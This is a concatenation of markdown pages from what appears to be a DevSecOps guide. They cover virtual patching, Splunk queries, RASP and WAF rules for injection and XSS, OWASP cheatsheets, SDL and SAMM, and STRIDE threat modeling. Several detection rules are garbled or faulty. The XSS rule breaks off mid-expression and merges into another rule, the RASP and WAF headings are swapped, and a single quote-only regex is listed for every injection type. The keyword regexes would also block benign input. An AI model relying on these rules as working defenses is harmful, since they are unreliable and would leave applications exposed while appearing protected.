https://github.com/sqall01/LSMS/blob/main/scripts/search_non_kthreads.py ## Search processes that were started by a now disconnected SSH session https://github.com/sqall01/LSMS/blob/main/scripts/search_ssh_leftover_processes.py ## Search running deleted programs https://github.com/sqall01/LSMS/blob/main/scripts/search_deleted_exe.py ## Test script to check if alerting works https://github.com/sqall01/LSMS/blob/main/scripts/test_alert.py ## Verify integrity of installed .deb packages https://github.com/sqall01/LSMS/blob/main/scripts/verify_deb_packages.py ================================================ FILE: docs/operate/operate.md ================================================ --- layout: default title: Operate nav_order: 6 has_children: true permalink: docs/operate --- # Operate {: .no_toc } ================================================ FILE: docs/operate/virtual-patching.md ================================================ --- layout: default title: Virtual Patching parent: Operate --- # Virtual Patching {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- Virtual patching is a security technique used in DevSecOps to provide temporary protection against known vulnerabilities in software applications or systems. Virtual patching involves the use of security policies, rules, or filters that are applied to network traffic, system logs, or application code to prevent known vulnerabilities from being exploited. Virtual patching can be used when a vendor-provided patch is not available or when patching is not feasible due to operational constraints or business needs. It allows organizations to quickly and easily protect their systems against known vulnerabilities without having to take the application or system offline or make changes to the underlying code. Some of the key benefits of virtual patching in DevSecOps include: 1. Reduced risk of exploitation: By applying virtual patches to known vulnerabilities, organizations can reduce the risk of these vulnerabilities being exploited by attackers. 2. Improved security posture: Virtual patching allows organizations to quickly and easily protect their systems against known vulnerabilities, improving their overall security posture. 3. Reduced downtime: Virtual patching can be implemented quickly and easily, without requiring system downtime or disrupting business operations. 4. Improved compliance: Virtual patching can help organizations meet regulatory requirements for timely patching of known vulnerabilities. Virtual patching can be implemented using a variety of techniques, including intrusion prevention systems (IPS), web application firewalls (WAF), and network-based security devices. It can also be implemented through the use of automated security policies or scripts that are applied to systems and applications. ## Log Collection ### Splunk 1- Configure Data Inputs: Configure data inputs to receive data from various sources, such as network devices, servers, and applications. Configure data inputs for the following: * Syslog * Windows Event Logs * Network Traffic (using the Splunk Stream add-on) * Cloud Platform Logs (e.g., AWS CloudTrail, Azure Audit Logs) 2- Create Indexes: Create indexes to store the data from the configured data inputs. Indexes can be created based on data types, such as security events, network traffic, or application logs. 3- Create a Dashboard: Create a dashboard to visualize the data collected from the data inputs. A dashboard can display the following: * Real-time events and alerts * Trending graphs and charts * Security reports and metrics 4- Create a Sample Rule for Detection: Create a sample rule to detect an attack or security incident. For example, create a rule to detect failed login attempts to a web application. The following steps show how to create the rule in Splunk: * Create a search query: Create a search query to identify failed login attempts in the web application logs. For example: ``` sourcetype=apache_access combined=*login* status=401 | stats count by clientip ``` ## Virtual Patching Virtual patching is a security mechanism that helps protect applications and systems from known vulnerabilities while developers work on creating and testing a patch to fix the vulnerability. It involves implementing a temporary, software-based solution that can block or mitigate the attack vectors that could be used to exploit the vulnerability. This is done by creating rules or policies within security software, such as web application firewalls or intrusion detection/prevention systems, that block or alert on malicious traffic attempting to exploit the vulnerability. Virtual patching can be an effective way to quickly and temporarily secure systems against known vulnerabilities, particularly those that may be actively targeted by attackers. It can also provide time for organizations to test and implement permanent patches without leaving their systems exposed to attacks. | Name | Language | |:---------------|:---------------------| | `Java` | Contrast Security, Sqreen, AppSealing, JShielder | | `.NET ` | Contrast Security, Sqreen, Nettitude, Antimalware-Research | | `Node.js ` | Sqreen, RASP.js, Jscrambler, nexploit | | `Python` | RASP-Protect, PyArmor, Striker, nexploit | | `PHP` | Sqreen, RIPS Technologies, RSAS, nexploit | | `Ruby` | Sqreen, RASP-Ruby, nexploit | example RASP rule to mitigate SQL Injection vulnerability: ``` import javax.servlet.http.HttpServletRequest; import com.rasp.scanner.RASP; import com.rasp.scanner.ELExpression; public class SQLInjectionRule { public static void checkSQLInjection(HttpServletRequest request) { // Get the input parameters from the request String username = request.getParameter("username"); String password = request.getParameter("password"); // Check for SQL injection in the username parameter if (RASP.isSQLInjection(username)) { // Log the attack attempt RASP.log("SQL injection detected in username parameter"); // Block the request RASP.blockRequest("SQL injection detected"); } // Check for SQL injection in the password parameter if (RASP.isSQLInjection(password)) { // Log the attack attempt RASP.log("SQL injection detected in password parameter"); // Block the request RASP.blockRequest("SQL injection detected"); } } } ``` This rule checks for SQL injection attacks in the "username" and "password" parameters of a HTTP request. If an attack is detected, the rule logs the attempt and blocks the request. Cheatsheet for prevention rules for the OWASP Top 10 vulnerabilities ``` OWASP Type Vulnerability Rule/Policy Injection SQL Injection /^[^']*$/i Command Injection /^[^']*$/i LDAP Injection /^[^']*$/i XPath Injection /^[^']*$/i OS Command Injection /^[^']*$/i Expression Language Injection /^[^']*$/i Broken Broken Authentication 2FA or MFA implementation Authentication Password Management Password complexity and expiry policy Brute Force Prevention Account lockout policy Sensitive Data Sensitive Data Exposure Encryption in transit and at rest Exposure Cross-Site Request Forgery (CSRF)CSRF tokens for all forms Broken Access Control Role-based access control Security Security Misconfiguration Regular security assessments and compliance checks Misconfiguration Insecure Cryptographic Storage Strong cryptographic algorithms and key management Insufficient Logging & Monitoring Log all security-relevant events Insufficient Attack Protection Application firewall (WAF) to prevent OWASP Top 10 attacks Cross-Site Cross-Site Scripting (XSS) Encoding user input Scripting Insecure Direct Object References Access control checks and input validation Insecure Using Components with Regular patching and updates Components Known Vulnerabilities ``` ### SQL Injection #### RASP ``` when { event.type == "http" && event.action == "param_value" && http.param.name.matches("(?i).*((select|union|insert|update|delete|from|where|order by|group by|having|or|and).*)") } then { block(); raise "SQL Injection detected in param: " + http.param.name; } ``` #### WAF ``` SecRule ARGS "@rx ^[a-zA-Z0-9\s]+$" \ "id:1,\ phase:2,\ t:none,\ deny,\ msg:'Possible SQL Injection Attack'" ``` ### Command Injection ``` when { event.type == "http" && event.action == "param_value" && http.param.name.matches("(?i).*((;|&|`|\\|\\||\\||&&).*)") } then { block(); raise "Command Injection detected in param: " + http.param.name; } ``` #### RASP ``` SecRule ARGS "@rx ^[a-zA-Z0-9\s]+$" \ "id:2,\ phase:2,\ t:none,\ deny,\ msg:'Possible Command Injection Attack'" ``` #### WAF ``` SecRule ARGS "@rx ^[a-zA-Z0-9\s]+$" \ "id:2,\ phase:2,\ t:none,\ deny,\ msg:'Possible Command Injection Attack'" ``` ### XSS #### RASP ``` when { event.type == "http" && event.action == "param_value" && http.param.value.matches("(?i).*((" \ "id:3,\ phase:2,\ t:none,\ deny,\ msg:'Possible XSS Attack via Script Tag'" ``` ##### Attribute Injection Prevention Rule ``` SecRule ARGS|XML:/* "(<|<)script[\s\S]+?=" \ "id:4,\ phase:2,\ t:none,\ deny,\ msg:'Possible XSS Attack via Attribute Injection'" ``` ================================================ FILE: docs/plan-develop/appsec.md ================================================ --- layout: default title: AppSec parent: Plan & Develop --- # AppSec {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- Application security (AppSec) threats refer to the security risks and vulnerabilities that can be present in the software applications used by organizations. These threats can arise from various sources, such as software bugs, coding errors, design flaws, and inadequate security controls. AppSec threats can lead to data breaches, information theft, financial losses, reputational damage, and legal liabilities for organizations. To address AppSec threats, various standards and frameworks have been developed. Here are some of the most important ones: 1. OWASP Top Ten: The Open Web Application Security Project (OWASP) Top Ten is a list of the most critical security risks to web applications. It is widely used by organizations as a guideline for identifying and addressing AppSec threats. 2. PCI DSS: The Payment Card Industry Data Security Standard (PCI DSS) is a set of security standards designed to protect credit card data. It requires merchants and service providers to implement various security controls to prevent unauthorized access to cardholder data. 3. ISO 27001: The International Organization for Standardization (ISO) 27001 is a standard for information security management systems. It provides a framework for implementing controls and processes to protect sensitive information, including software applications. 4. NIST Cybersecurity Framework: The National Institute of Standards and Technology (NIST) Cybersecurity Framework is a set of guidelines for managing and reducing cybersecurity risks. It provides a framework for organizations to identify, protect, detect, respond to, and recover from security incidents. 5. BSIMM: The Building Security In Maturity Model (BSIMM) is a software security framework that provides a measurement of an organization's software security program maturity. It identifies best practices and benchmarks for implementing a successful software security program. 6. CSA: The Cloud Security Alliance (CSA) provides guidance for secure cloud computing. Its Cloud Controls Matrix provides a framework for organizations to assess the security of cloud service providers. 7. CWE/SANS Top 25: A list of the top 25 most dangerous software errors, as identified by the Common Weakness Enumeration (CWE) and the SANS Institute. Cheatsheet with rules/policies for preventing OWASP Top 10 vulnerabilities | Type | Vulnerability | Rule/Policy | |:---------------|:---------------------|:---------------------| | `A1: Injection` | SQL Injection | Use prepared statements and parameterized queries. Sanitize input and validate parameters. | | `A1: Injection` | NoSQL Injection | Use parameterized queries with built-in protections. Sanitize input and validate parameters. | | `A1: Injection` | LDAP Injection | Use parameterized queries and escape special characters. | | `A1: Injection` | Command Injection | Use safe APIs or libraries that do not allow arbitrary command execution. Sanitize input and validate parameters. | | `A2: Broken Authentication and Session Management` | Weak Passwords | Enforce strong password policies, including complexity requirements and regular password changes. Use multi-factor authentication. | | `A2: Broken Authentication and Session Management` | Session Fixation | Regenerate session ID upon login and logout. Use secure cookies with HttpOnly and Secure flags. | | `A3: Cross-Site Scripting (XSS)` | Reflected XSS | Sanitize all user input, especially from untrusted sources such as URLs, forms, and cookies. Use output encoding to prevent XSS attacks. | | `A3: Cross-Site Scripting (XSS)` | Stored XSS | Filter user-generated content to prevent malicious scripts from being stored. Use output encoding to prevent XSS attacks. | | `A4: Broken Access Control` | Insecure Direct Object Reference (IDOR) | Implement proper access controls and authorization checks to prevent direct object reference attacks. | | `A5: Security Misconfiguration` | Improper Error Handling | Do not reveal sensitive information in error messages or logs. Use custom error pages. | | `A6: Insecure Cryptographic Storage` | Weak Cryptography | Use strong, up-to-date encryption algorithms and keys. Implement proper key management and storage practices. | | `A7: Insufficient Transport Layer Protection` | Unencrypted Communications | Use HTTPS with secure protocols and strong encryption. Disable insecure protocols such as SSLv2 and SSLv3. | | `A8: Insecure Deserialization` | Insecure Deserialization | Validate and verify the integrity of serialized objects. Avoid accepting serialized objects from untrusted sources. | | `A9: Using Components with Known Vulnerabilities` | Outdated Software | Keep all software and libraries up-to-date with the latest security patches. Monitor for vulnerabilities and apply patches as soon as possible. | | `A10: Insufficient Logging and Monitoring` | Lack of Monitoring | Implement robust logging and monitoring practices to detect and respond to security events. Use SIEM tools and alerting systems. | ## DREAD: * Damage potential: How much damage could be caused if the vulnerability is exploited? * Reproducibility: How easy is it to reproduce the vulnerability? * Exploitability: How easy is it to actually exploit the vulnerability? * Affected users: How many users or systems are affected by the vulnerability? * Discoverability: How easy is it for an attacker to discover the vulnerability? By evaluating each of these factors, organizations can assign a score to a particular vulnerability and use that score to determine which vulnerabilities pose the greatest risk and should be addressed first. ## SDL (Security Development Lifecycle) ### Training: * Core security training * Requirements: * Establish security requirements * Create quality gates/bug bars * Perform security and privacy risk assessments ### Design: * Establish design requirements * Perform attack surface analysis reduction * Use threat modeling ### Implementation: * Use approved tools * Deprecate unsafe functions * Perform static analysis ### Verification: * Perform dynamic analysis * Perform fuzz testing * Conduct attack surface review ### Release: * Create an incident response plan * Conduct final security review * Certify, release, and archive ### Response: * Execute incident response plan ## OWASP SAMM OWASP SAMM categorizes security practices into four key business ### Governance: * Strategy and metrics * Policy and compliance * Education and guidance ### Construction: * Threat assessment * Security requirements * Secure architecture ### Verification: * Design review * Implementation review * Security testing ### Operations: * Issue management * Environment Hardening * Operational enablement ================================================ FILE: docs/plan-develop/driver.md ================================================ --- layout: default title: Driver parent: Plan & Develop --- # Driver {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- DevSecOps is a methodology that seeks to integrate security into the software development lifecycle, rather than treating it as a separate process that is bolted on at the end. The goal is to build secure, reliable software that meets the needs of the business, while also protecting sensitive data and critical infrastructure. There are several drivers and challenges associated with implementing DevSecOps, which are outlined below. **Drivers:** 1. Security concerns: With the increasing frequency and severity of cyberattacks, security has become a top priority for organizations. DevSecOps provides a way to build security into the software development process, rather than relying on ad hoc security measures. 2. Compliance requirements: Many organizations are subject to regulatory requirements such as PCI-DSS, HIPAA, and GDPR. DevSecOps can help ensure compliance with these regulations by integrating security into the development process and providing visibility into the security posture of the application. 3. Agility and speed: DevSecOps can help organizations develop and deploy software more quickly and with greater agility. By integrating security into the development process, organizations can reduce the time and cost of remediation and avoid delays caused by security issues. 4. Collaboration: DevSecOps encourages collaboration between developers, security teams, and operations teams. By working together, these teams can build more secure and reliable software. **Challenges:** 1. Cultural barriers: DevSecOps requires a cultural shift in the organization, with developers, security teams, and operations teams working together in a collaborative manner. This can be challenging, particularly in organizations with a siloed culture. 2. Lack of skills: DevSecOps requires a range of skills, including development, security, and operations. Finding individuals with these skills can be difficult, particularly in a competitive job market. 3. Tooling and automation: DevSecOps relies heavily on tooling and automation to integrate security into the development process. Implementing and maintaining these tools can be challenging, particularly for smaller organizations with limited resources. 4. Complexity: DevSecOps can be complex, particularly for organizations with large, complex applications. It can be difficult to integrate security into the development process without causing delays or creating additional complexity. ## Application Security Verification Standard (ASVS): Authentication, Session Management, Access Control, Malicious Input handling, Output encoding/escaping, Cryptography, Error handling and logging , Data Protection, Communication Security, Http Security configuration, Security configuration, Malicious, Internal Security, Business logic, Files and resources, Mobile, Web services ### Design review * Security compliance checklist * Security requirement checklist (OWASP ASVS) * Top 10 security design issues * Security issues in the previous release * Customer or marketing feedback on security issues ### Implementation review * Secure coding * Selection of reliable and secure third-party components * Secure configuration ### Third-party components * A third-party software evaluation checklist: * Recommended third-party software and usage by projects: * CVE status of third-party components: ### Code Review * **Static Application Security Testing (SAST)** {: .highlight } FindSecbugs, Fortify, Coverity, klocwork. * **Dynamic Application Security Testing (DAST)** {: .highlight } OWASP ZAP, BurpSuite * **Interactive Application Security Testing (IAST)** {: .highlight } CheckMarks Varacode * **Run-time Application Security Protection(RASP)** {: .highlight } OpenRASP * **SEI CERT Coding** {: .highlight } https://wiki.sei.cmu.edu/confluence/display/seccode/SEI+CERT+Coding+Standards * **Software Assurance Marketplace (SWAMP)** {: .highlight } https://www.mir-swamp.org/ ### Environment Hardening * Secure configuration baseline * Constant monitoring mechanism ### Constant monitoring mechanism * **Common vulnerabilities and exposures (CVEs)** {: .highlight } OpenVAS, NMAP * **Integrity monitoring** {: .highlight } OSSEC * **Secure configuration compliance** {: .highlight } OpenSCAP * **Sensitive information exposure** {: .note } No specific open source tool in this area. However, we may define specific regular expression patterns ## ENGAGE https://engage.mitre.org/matrix/ ## IACD ### Playbooks Process Oriented * Reflects organization's policies and procedures * List activities that may require human interaction * Organization-to-organization shareable #### Playbooks Process Oriented * Reflects organization's policies and procedures * List activities that may require human interaction * Organization-to-organization shareable #### Workflows Technical Steps * Focused on machine interaction * Supports tailorable levels of automation * Machine-to-machine shareable #### Local Instance Execution at the System Level * Activity conducted is tailored to target system * Describes specific decision logic and thresholds * Machine-to-machine shareable in organization ### Example Playbook To represent a general security process in a manner that: 1. Most organizations can associate with a process they are a performing 2. Can be mapped to governance or regulatory requirements (e.g., NIST 800-53) 3. Demonstrates a path to automation of the process over time 4. Identifies industry best practices for steps in the process Playbook Content Types: 1. Initiating Condition 2. Process Steps 3. Best Practices and Local Policies 4. End State 5. Relationship to Governance or Regulatory Requirements Steps to Build a Playbook: 1. Identify the initiating condition. Think About: What event or condition is going to start this playbook? This could be a time-based trigger, the detection of an event, or the decision to act. 2. List all possible actions that could occur in response to this initiating condition. Think About: How could I respond to this condition? What steps would I take to mitigate this threat? Don’t worry about order right now! 3. Iterate through the actions list from Step 2 and categorize the actions based on whether they are required steps or whether they are optional. Think About: Is this step necessary to mitigate or investigate this event, or is it a best practice? Some best practices have become standardized or widely implemented, while others may be considered extraneous. It’s OK if it’s unclear whether some actions are required or optional; it’s up to you to categorize accordingly. 4. Use the required steps from Step 3 to build the playbook process steps diagram. Think About: Ordering. This is the time to think about the order in which you would perform these actions. 5. Iterate through the optional actions and decide whether the actions can be grouped by activity or function. For example: Monitoring, Enrichment, Response, Verification, or Mitigation. 6. Think About: Are there possible actions that can only take place in certain parts of the playbook? This is how you would group the actions. 7. Modify the playbook process steps diagram from Step 4 to include the points where optional actions would be selected. ================================================ FILE: docs/plan-develop/methodology.md ================================================ --- layout: default title: Methodology parent: Plan & Develop --- # Methodology {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- DevSecOps methodology is an approach to software development that integrates security practices into the software development process from the beginning. The goal of DevSecOps is to make security an integral part of the software development process, rather than an afterthought. Some common methodologies used in DevSecOps include: 1. Agile: Agile methodology focuses on iterative development and continuous delivery, with an emphasis on collaboration and communication between developers and other stakeholders. In DevSecOps, Agile is often used to facilitate a continuous feedback loop between developers and security teams, allowing security issues to be identified and addressed early in the development process. 2. Waterfall: Waterfall methodology is a traditional software development approach that involves a linear progression of steps, with each step building on the previous one. In DevSecOps, Waterfall can be used to ensure that security requirements are defined and addressed early in the development process, before moving on to later stages of development. 3. DevOps: DevOps methodology focuses on collaboration and automation between developers and IT operations teams. In DevSecOps, DevOps can be used to automate security testing and other security-related tasks, allowing security issues to be identified and addressed more quickly and efficiently. 4. Shift-Left: Shift-Left methodology involves moving security testing and other security-related tasks earlier in the development process, to catch and address security issues earlier. In DevSecOps, Shift-Left can be used to ensure that security is integrated into the development process from the very beginning. 5. Threat Modeling: Threat modeling is a methodology that involves identifying and analyzing potential threats to a software application, and then designing security controls to mitigate those threats. In DevSecOps, threat modeling can be used to identify and address potential security issues early in the development process, before they become more difficult and expensive to address. These are just a few examples of the methodologies that can be used in DevSecOps. The key is to integrate security practices into the development process from the beginning, and to use a continuous feedback loop to identify and address security issues as early as possible. ## DoD DoD Methodology in DevSecOps refers to the specific methodology and framework that the US Department of Defense (DoD) follows to implement DevSecOps practices in its software development lifecycle. The DoD has created its own set of guidelines and best practices for DevSecOps that align with its specific security requirements and regulations. The DoD Methodology for DevSecOps is based on the following principles: 1. Continuous Integration/Continuous Delivery (CI/CD) pipeline: The CI/CD pipeline is an automated process for building, testing, and deploying software changes. The DoD Methodology emphasizes the importance of automating the pipeline to speed up the delivery process and ensure that all changes are tested thoroughly before they are deployed. 2. Security testing: The DoD Methodology requires that security testing is integrated throughout the entire software development lifecycle. This includes static code analysis, dynamic application security testing (DAST), and penetration testing. 3. Infrastructure as Code (IaC): The DoD Methodology promotes the use of IaC to automate the deployment and management of infrastructure. This approach ensures that infrastructure is consistent and repeatable, which helps to reduce the risk of misconfigurations and security vulnerabilities. 4. Risk management: The DoD Methodology requires that risk management is an integral part of the DevSecOps process. This involves identifying potential risks and vulnerabilities, prioritizing them based on their severity, and taking appropriate measures to mitigate them. 5. Collaboration: The DoD Methodology emphasizes the importance of collaboration between development, security, and operations teams. This includes regular communication, joint planning, and cross-functional training to ensure that all team members have a common understanding of the DevSecOps process. Overall, the DoD Methodology for DevSecOps is designed to help the Department of Defense build secure, reliable, and resilient software systems that meet its unique security requirements and regulations. ## Microsoft Microsoft has its own approach to DevSecOps, which is known as the Microsoft Secure Development Lifecycle (SDL). The SDL is a comprehensive methodology that integrates security practices and tools throughout the entire software development process, from planning and design to testing and release. The key principles of the Microsoft SDL are: 1. Security by design: Security is considered from the beginning of the development process, and is integrated into the design of the application. 2. Continuous improvement: The SDL is an iterative process, with continuous improvement of security practices and tools based on feedback and lessons learned. 3. Risk management: Risks are identified and evaluated at each stage of the development process, and appropriate measures are taken to mitigate them. 4. Collaboration: Security is a shared responsibility, and collaboration between development, operations, and security teams is essential. 5. Automation: Automated tools and processes are used to ensure consistency and efficiency in security practices. The Microsoft SDL includes specific practices and tools for each stage of the development process, such as threat modeling, code analysis, security testing, and incident response. Microsoft also provides guidance and training for developers, operations teams, and security professionals on how to implement the SDL in their organizations. ## Security guidelines and processes - [ ] **Security training** Security awareness, Security certification program, Case study knowledge base, Top common issue, Penetration learning environment OWASP top 10, CWE top 25, OWASP VWAD - [ ] **Security maturity assessment** Microsoft SDL, OWASP SAMM self-assessment for maturity level Microsoft SDL, OWASP SAMM - [ ] **Secure design** Threat modeling templates (risks/mitigation knowledge base), Security requirements for release gate, Security design case study, Privacy protection OWASP ASVS, NIST, Privacy risk assessment - [ ] **Secure coding** Coding guidelines (C++, Java, Python, PHP, Shell, Mobile), Secure coding scanning tools, Common secure coding case study CWE, Secure coding, CERT OWASP - [ ] **Security testing** Secure compiling options such as Stack Canary, NX, Fortify Source, PIE, and RELRO, Security testing plans, Security testing cases, Known CVE testing, Known secure coding issues, API-level security testing tools, Automation testing tools, Fuzz testing, Mobile testing, Exploitation and penetration, Security compliance Kali Linux tools, CIS - [ ] **Secure deployment** Configuration checklist, Hardening guide, Communication ports/protocols, Code signing CIS Benchmarks, CVE - [ ] **Incident and vulnerability handling** Root cause analysis templates, Incident handling process and organization NIST SP800-61 - [ ] **Security training** Security awareness by email, Case study newsletter, Toolkit usage hands-on training, Security certificate and exam NIST 800- 50, NIST 800- 16, SAFECode security engineering training Stage 1 {: .label } ## basic security control * Leverage third-party cloud service provider security mechanisms (for example, AWS provides IAM, KMS, security groups, WAF, Inspector, CloudWatch, and Config) * Secure configuration replies on external tools such as AWS Config and Inspector * Service or operation monitoring may apply to AWS Config, Inspector, CloudWatch, WAF, and AWS shield Stage 2 {: .label } ## building a security testing team **Vulnerability assessment** {: .highlight } NMAP, OpenVAS **Static security analysis:** {: .highlight } FindBugs for Java, Brakeman for Ruby on Rails, Infer for Java, C++, Objective C and C **Web security:** {: .highlight } OWASP dependency check, OWASP ZAP, Archni-Scanner, Burp Suite, SQLMap, w3af **Communication:** {: .highlight } Nmap, NCAT, Wireshark, SSLScan, sslyze **Infrastructure security:** {: .highlight } OpenSCAP, InSpec **VM Toolset:** {: .highlight } Pentest Box for Windows, Kali Linux, Mobile Security Testing Framework **Security monitoring:** {: .highlight } ELK, MISP—Open source Threat Intelligence Platform, OSSCE—Open source HIDS Security, Facebook/osquery—performant endpoint visibility, AlienValut OSSIM—opensource SIEM Stage 3 {: .label } ## SDL activities * Security shifts to the left and involves every stakeholder * Architect and design review is required to do threat modeling * Developers get secure design and secure coding training * Operation and development teams are as a closed-loop collaboration * Adoption of industry best practices such as OWASP SAMM and Microsoft SDL for security maturity assessment Stage 4 {: .label } ## self-build security services Take Salesforce as an example—the Salesforce Developer Center portal provides security training modules, coding, implementation guidelines, tools such as assessment tools, code scanning, testing or CAPTCHA modules, and also a developer forum. Whether you are building an application on top of salesforce or not, the Salesforce Developer Center is still a good reference not only for security knowledge but also for some open source tools you may consider applying. Stage 5 {: .label } ## big data security analysis and automation Key characteristics at this stage are: * Fully or mostly automated security testing through the whole development cycle * Applying big data analysis and machine learning to identify abnormal behavior or unknown threats * wProactive security action is taken automatically for security events, for example, the deployment of WAF rules or the deployment of a virtual patch Typical open source technical components in big data analysis frameworks include the following: * Flume, Log Logstash, and Rsyslog for log collection * Kafka, Storm, or Spark for log analysis * Redis, MySQL, HBase, and HDFS for data storage * Kibana, ElasticSearch, and Graylog for data indexing, searching, and presentation The key stages in big data security analysis are explained in the table: **Data collection:** Collects logs from various kinds of sources and systems such as firewalls, web services, Linux, networking gateways, endpoints, and so on. **Data normalization:** Sanitizes or transforms data formats into JSON, especially, for critical information such as IP, hostname, email, port, and MAC. **Data enrich/label:** In terms of IP address data, it will further be associated with GeoIP and WhoIS information. Furthermore, it may also be labeled if it's a known black IP address. **Correlation:** The correlation analyzes the relationship between some key characteristics such as IP, hostname, DNS domain, file hash, email address, and threat knowledge bases. **Storage:** There are different kinds of data that will be stored —the raw data from the source, the data with enriched information, the results of correlation, GeoIP mapping, and the threat knowledge base. **Alerts:** Trigger alerts if threats were identified or based on specified alerting rules. **Presentation/query:** Security dashboards for motoring and queries. ElasticSearch, RESTful API, or third-party SIEM. ## Role of a security team in an organization - [ ] **Security office under a CTO** ![Security office under a CTO](../../../assets/images/model1.png) * No dedicated Chief Security Officer (CSO) * The security team may not be big—for example, under 10 members * The security engineering team serves all projects based on their needs * The key responsibility of the security engineering team is to provide security guidelines, policies, checklists, templates, or training for all project teams * It's possible the security engineering team members may be allocated to a different project to be subject matter experts based on the project's needs * Security engineering provides the guidelines, toolkits, and training, but it's the project team that takes on the main responsibility for daily security activity execution - [ ] **Dedicated security team** ![Dedicated security team](../../../assets/images/model2.png) * **Security management:** The team defines the security guidelines, process, policies, templates, checklist, and requirements. The role of the security management team is the same as the one previously discussed in the Security office under a CTO section. * **Security testing:** The team is performing in-house security testing before application release. * **Security engineering:** The team provides a common security framework, architecture, SDK, and API for a development team to use * **Security monitoring:** This is the security operation team, who monitor the security status for all online services. * **Security services:** This is the team that develops security services such as WAF and intrusion deference services. - [ ] **Security technical committee (taskforce)** ![Security technical committee (taskforce)](../../../assets/images/model3.png) The secure design taskforce will have a weekly meeting with all security representatives—from all project teams— and security experts from the security team to discuss the following topics (not an exhaustive list): * Common secure design issues and mitigation (initiated by security team) * Secure design patterns for a project to follow (initiated by security team) * Secure design framework suggestions for projects (initiated by security team) Specific secure design issues raised by one project and looking for advice on other projects (initiated by project team) * Secure design review assessment for one project (initiated by project team) ================================================ FILE: docs/plan-develop/plan-develop.md ================================================ --- layout: default title: Plan & Develop nav_order: 2 has_children: true permalink: docs/plan-develop --- # Plan & Develop {: .no_toc } {: .fs-6 .fw-300 } ================================================ FILE: docs/plan-develop/threats.md ================================================ --- layout: default title: Threats parent: Plan & Develop --- # Threats {: .no_toc } ## Table of contents {: .no_toc .text-delta } 1. TOC {:toc} --- ## Threat Modeling Threat modeling is a process that helps identify and prioritize potential security threats to a system or application. The goal of threat modeling is to identify security risks early in the development process and proactively mitigate them, rather than waiting for vulnerabilities to be discovered after deployment. One popular method for conducting threat modeling is called STRIDE, which stands for Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, and Elevation of privilege. These are the six types of security threats that can affect a system, and by considering each of them in turn, a threat model can help identify potential vulnerabilities and attacks. The STRIDE methodology is often used in combination with a diagram designer tool, such as Microsoft's Threat Modeling Tool or the open-source OWASP Threat Dragon. These tools allow you to create a visual representation of the system or application you are analyzing, and to map out potential threats and attack vectors. Explains the six types of security threats in the STRIDE methodology: | STRIDE Threat | Description | |:---------------|:---------------------| | `Spoofing` | Impersonating a user, device, or system in order to gain unauthorized access or perform malicious actions. Examples include phishing attacks or using a fake SSL certificate to intercept data. | | `Tampering` | Modifying data or code in transit or at rest, in order to introduce errors, gain unauthorized access, or perform other malicious actions. Examples include modifying the source code of an application or altering data in a database. | | `Repudiation` | Denying or disavowing actions or events, in order to evade accountability or responsibility. Examples include denying that an action was taken, or that data was accessed. | | `Information Disclosure` | Revealing confidential or sensitive information to unauthorized parties, whether intentionally or accidentally. Examples include disclosing passwords or user data, or exposing private keys. | | `Denial of Service` | Disrupting or degrading the availability or functionality of a system or application, through network attacks, resource exhaustion, or other means. Examples include Distributed Denial of Service (DDoS) attacks or flooding a server with requests. | | `Elevation of Privilege` | Gaining additional access or privileges beyond those that were initially granted, in order to perform unauthorized actions or escalate an attack. Examples include exploiting a software vulnerability to gain administrative access or using a social engineering technique to obtain sensitive information. | ### Implementation Step 1: Define the Scope Identify the application or system within the DevSecOps pipeline that you want to perform threat modeling for. For example, let's consider a microservices-based application deployed using containerization and managed by Kubernetes. Step 2: Gather Information Gather information about the application's architecture, design, and deployment. This includes understanding the components, their interactions, data flows, and external dependencies. Step 3: Identify Threats and Assets Identify the critical assets and sensitive data involved in the application. Consider both internal and external threats that could compromise the security of these assets. For example: Unauthorized access to customer data stored in a database Injection attacks on APIs or containers Misconfiguration of Kubernetes resources leading to unauthorized access or privilege escalation Step 4: Assess Vulnerabilities and Risks Evaluate the architecture and design to identify potential vulnerabilities and risks associated with the identified threats. Consider the security implications at each stage of the DevSecOps pipeline, including development, testing, deployment, and operations. For example: Insecure container images containing known vulnerabilities Lack of proper access controls on Kubernetes resources Weak or outdated authentication mechanisms Step 5: Prioritize and Mitigate Risks Prioritize the risks based on their potential impact and likelihood of occurrence. Develop mitigation strategies and recommendations to address each identified risk. Consider integrating security controls and best practices into the DevSecOps pipeline. For example: Implementing automated vulnerability scanning and patch management for container images Applying secure configuration practices for Kubernetes resources Enforcing strong authentication and access controls at all stages of the pipeline Step 6: Continuously Monitor and Improve Incorporate threat modeling as an iterative process within the DevSecOps lifecycle. Regularly review and update the threat model as the application evolves or new risks emerge. Continuously monitor the system for potential threats and vulnerabilities. Real-case Example: In a DevSecOps context, consider a scenario where a development team is building a cloud-native application using microservices architecture and deploying it on a container platform. The threat modeling process could involve identifying risks such as: * Insecure container images with vulnerabilities * Weak authentication and authorization mechanisms * Inadequate logging and monitoring for containerized applications * Misconfiguration of cloud resources and access controls * Insecure communication between microservices * Injection attacks on API endpoints Based on the identified risks, mitigation strategies could include: * Implementing automated vulnerability scanning and image hardening for containers * Applying strong authentication and authorization mechanisms, such as OAuth or JWT tokens * Incorporating centralized logging and monitoring solutions for containerized applications * Establishing proper cloud resource management and access control policies * Encrypting communication channels between microservices * Implementing input validation and security controls to prevent injection attacks ### Threat Matrix This matrix provides a starting point for identifying potential threats and corresponding mitigations based on different categories. | Threat Category | Threat Description | Potential Mitigation | |:---------------|:---------------------|:---------------------| | `Authentication` | Weak or stolen credentials | Implement strong password policies, multi-factor authentication, and password hashing algorithms. | | `Authentication` | Insecure authentication protocols | Use secure authentication protocols (e.g., TLS) and avoid transmitting credentials in plaintext. | | `Authorization` | Insufficient access controls | Implement RBAC (Role-Based Access Control) and apply the principle of least privilege. | | `Authorization` | Improper privilege escalation | Limit privilege escalation capabilities and regularly review user permissions. | | `Data Protection` | Data leakage or unauthorized access | Encrypt sensitive data at rest and in transit, and implement proper access controls. | | `Data Protection` | Insecure data storage | Follow secure coding practices for data storage, including encryption and secure key management. | | `Network Security` | Inadequate network segmentation | Implement proper network segmentation using firewalls or network policies. | | `Network Security` | Man-in-the-Middle attacks | Use encryption and certificate-based authentication for secure communication. | | `Denial-of-Service (DoS)` | Resource exhaustion | Implement rate limiting, request validation, and monitoring for 